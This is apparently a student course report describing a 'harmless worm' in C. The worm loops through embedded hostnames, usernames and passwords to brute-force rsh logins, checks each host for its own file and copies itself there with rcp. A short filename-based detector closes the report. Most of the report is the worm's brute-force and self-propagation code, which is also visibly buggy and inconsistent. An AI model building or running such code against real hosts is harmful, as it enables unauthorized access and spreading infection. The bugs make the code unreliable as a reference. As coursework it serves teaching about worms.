MID SEM - CS 547
Harmless Worm
Shashadhar Das(2111cs14)

Description:

Worm :

The main difference between a virus and a worm is that a worm does not need a host document. In other words, a worm does not need to attach itself to another program. In that sense, a worm is self-contained,a worm is able to send copies of itself to other machines over a network.

The goal is to create a harmless worm, 2111CS14_MSE_WORM, that attempts to break into embedded hosts. The worm attempts rsh logins using embedded usernames and passwords.

The worm works in an infinite loop, forever trying new host names, new usernames, and new passwords.

After the worm has successfully gained rsh login access to a machine, it looks for worm with the name “2111CS14_MSE_WORM” and if the host is not infected , it uploads the worm file “2111CS14_MSE_WORM”.

Implementation:

The harmless worm is written using c language and it can only attack machines with rsh enabled and with some constraints.

Getting a remote host:

We have used embedded usernames, passwords and hostnames. The worm creates a shell which executes rsh command to get a session with the remote host.
The following commands are executed by the shell to get a session

- rsh -l username [:password] host_command"
- rlogin -l hope domain.com

```
for ( hostNo=0; hostNo<20; hostNo++ ) {

            for (passWordNo=0;passWordNo<20;passWordNo++){

                for(userNameNo=0;userNameNo<20;userNameNo++){

                    char* userName= userNames[userNameNo];
                    char* password = passwords[passWordNo];
                    char* hostName= hostNames[hostNo];
                    printf("\nTrying password %s for user %s
with host:%s",password,userName,hostName);

                    // create the rsh script
                    //"rsh -l username [:password]
host_command"
```

```
                    char destination[256] = SHELLSCRIPT;
                    strcat(destination, "rsh -l ");
                    strcat(destination,userName);
                    strcat(destination, " [:");
                    strcat(destination, password);
                    strcat(destination, "] ");
                    strcat(destination,hostName);
                    int value = system(destination);
                    // successfully command executed
                    if(value==0){
                        // crate rsh command for login
                        //rlogin -l hope domain.com
                        char loginDestination[256] =
SHELLSCRIPT;
                        strcat(loginDestination,"rlogin -l
");
                        strcat(loginDestination,userName);
                        strcat(loginDestination, " ");
                        strcat(loginDestination, hostName);
                        int value = system(loginDestination);

                // we are successfully login,
```

Check infected remote host:

After we successfully get the rsh login session, we check if the host is infected with the worm or not. We get the list of files executing the shell with rsh command (rsh host ls >> ls.txt) and output the list in a file.
We copy the output file to the local machine and check if we have a file with name “2111CS14_MID_SEM_WORM”.

Run ls command

```
                                //rsh host ls >> ls.txt, we will store
the contents in a file
                            char lsCommand[256] = SHELLSCRIPT;
                            strcat(lsCommand,"rsh ");
                            strcat(lsCommand,hostName);
                            strcat(lsCommand, " ls >> ls.txt");
                            system(lsCommand);
```

Get the ls command output to local file

```
// get the file and store in local
//rsh host2 cat ls.txt >> lsLocal.txt

                        char lsFileToLocal[256] = SHELLSCRIPT;
                              strcat(lsFileToLocal,"rsh ");
                              strcat(lsFileToLocal,hostName);
                              strcat(lsFileToLocal, "cat ls.txt
>> lsLocal.txt");
                              int val = system(lsFileToLocal);
```

Check if the ls list having the file name “2111CS14_MID_SEM_WORM”

```
fp = fopen("lsLocal.txt", "r");
         if (fp == NULL)
                exit(EXIT_FAILURE);

       while ((read = getline(&line, &len, fp)) != -1) {
               printf("Retrieved line of length %zu:\n", read);
                printf("%s", line);
                 char *ret;
                  ret = strstr(line, "2111CS14_MSE_WORM");
                   if (ret){
                       printf("Already infected!!");
                    }else{
```

Infect the remote host:

To infect the remote host , we upload the worm file “2111CS14_MSE_WORM” to the remote host using rpc command. The rpc command (rcp document1 host:document1) is executed by the shell.

```
 }else{
           // infect the machine
            // copy the worm file to the remote system
            //rcp document1 host:document1
             char copyWormFile[256]= SHELLSCRIPT;
             strcat(copyWormFile, "rcp 2111CS14_MSE_WORM ");
             strcat(copyWormFile, hostName);
             strcat(copyWormFile, ":2111CS14_MSE_WORM");
             int val =system(copyWormFile);
              if(val){
                 printf("We have successfully infected the
remote machine");
                }
```

Detecting the worm:

For detecting the worm , we have looked through all the files and if we get the file with name “2111CS14_MSE_WORM”, it is considered a worm being found. We also search for the signature with text ““2111CS14_MSE_WORM””.

```
char lsCommand[256] = SHELLSCRIPT;
    strcat(lsCommand, " ls >> ls.txt");
```

```
    int val = system(lsCommand);

    if(val ==0){
        FILE * fp;
        char * line = NULL;
        size_t len = 0;
        ssize_t read;

        fp = fopen("ls.txt", "r");
```

```
        while ((read = getline(&line, &len, fp)) != -1) {
            printf("Retrieved line of length %zu:\n", read);
            printf("%s", line);
            char *ret;
            ret = strstr(line, "2111CS14_MSE_WORM");
            if (ret){
                printf("Worm detected!!");
            }
        }
```